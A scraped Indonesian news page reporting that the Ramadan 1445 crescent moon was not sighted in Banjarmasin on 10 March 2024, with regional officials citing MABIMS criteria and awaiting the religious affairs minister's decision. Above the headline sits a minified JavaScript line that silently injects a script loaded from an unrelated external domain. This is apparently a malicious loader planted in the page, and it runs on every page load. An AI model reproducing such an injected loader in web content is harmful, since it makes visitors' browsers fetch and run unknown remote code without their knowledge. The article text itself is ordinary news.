(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Hilal di Banjarmasin Tak Terlihat, Putusan Menunggu Menag RI


KANALKALIMANTAN.COM, BANJARMASIN – Kantor Wilayah Kementerian Agama (Kanwil Kemenag) Provinsi Kalimantan Selatan (Kalsel) melaksanakan kegiatan rukyatul hilal dalam rangka penentuan awal bulan Ramadan 1445 hijriyah.

Pemantauan dilaksanakan, Minggu (10/3/2024) petang, di lantai 9 atau puncak paling atas Hotel Zuri Express, Jalan A Yani Km 5 Kota Banjarmasin.

Dua buah teleskop digital dan analog disiapkan tim rukyatul hilal Kanwil Kemenag Kalsel.

Baca juga: Tangan Jahil Perusak Fasum di Banjarmasin, Enam Besi Pembatas Trotoar Jalan Hasanuddin HM Dicuri

Berdasarkan laporan dari tim rukayatul hilal, Fahrin, berdasarkan data hisab hilal di Kalsel pada Minggu (10/3/2024) petang, berada di bawah 1 derajat.

Sementara berdasarkan ketentuan kriteria MABIMS (Malaysia, Brunai, Indonesia, dan Singapura), tinggi hilal yaitu minimal 3 derajat dan sudut elongasi 6,4 derajat.

“Di Kalsel posisi hilal berdasarkan hisab berada di titik 0°27′ 15” (di atas ufuk), sementara elongasinya berada di angka 01° 42′ 48″,” kata Fahrin.

Menurut Fahrin, di seluruh Indonesia pada Minggu (10/3/2024) petang, posisi hilal rata-rata berada di bawah 1 derajat alias belum memenuhinya kriteria MABIMS.

Baca juga: Kenal Pamit Dandim 1001 HSU-Balangan

Terpisah Kepala Kanwil Kemenag Kalsel HM Thambrin mengatakan, pemantauan hilal pada Minggu (10/3/2024) petang di seluruh Indonesia dilaksanakan pada 134 titik. Salah satunya, di Provinsi Kalimantan Selatan.

Kakanwil Kemenag Kalsel memastikan, hasil pemantauan di Kalsel hilal tidak terlihat. Bukan hanya karena berada di bawah 3 derajat, melainkan kondisi langit pada sore hari di Banjarmasin tertutup awan.

“Ketentuannya 3 derajat, maka kalau tidak terlihat berarti potensi hari Selasa (awal Ramadan),” ujar Thambrin.

“Tapi kita tunggu saja pengumuman resmi Menteri Agama yang memutuskan awal Ramadan,” sambungnya.

Baca juga: Bupati Banjar Resmikan Aula Serbaguna di Makodim 1006 Banjar

Menurut Thambrin, potensi perbedaan penentuan awal Ramadan 1445 hijriyah di Indonesia kemungkinan ada.

Oleh karena itu dirinya mengimbau agar umat Islam di Kalimantan Selatan untuk saling menghormati. (Kanalkalimntan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

3 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

4 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

4 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

8 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

10 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

10 jam ago

This website uses cookies.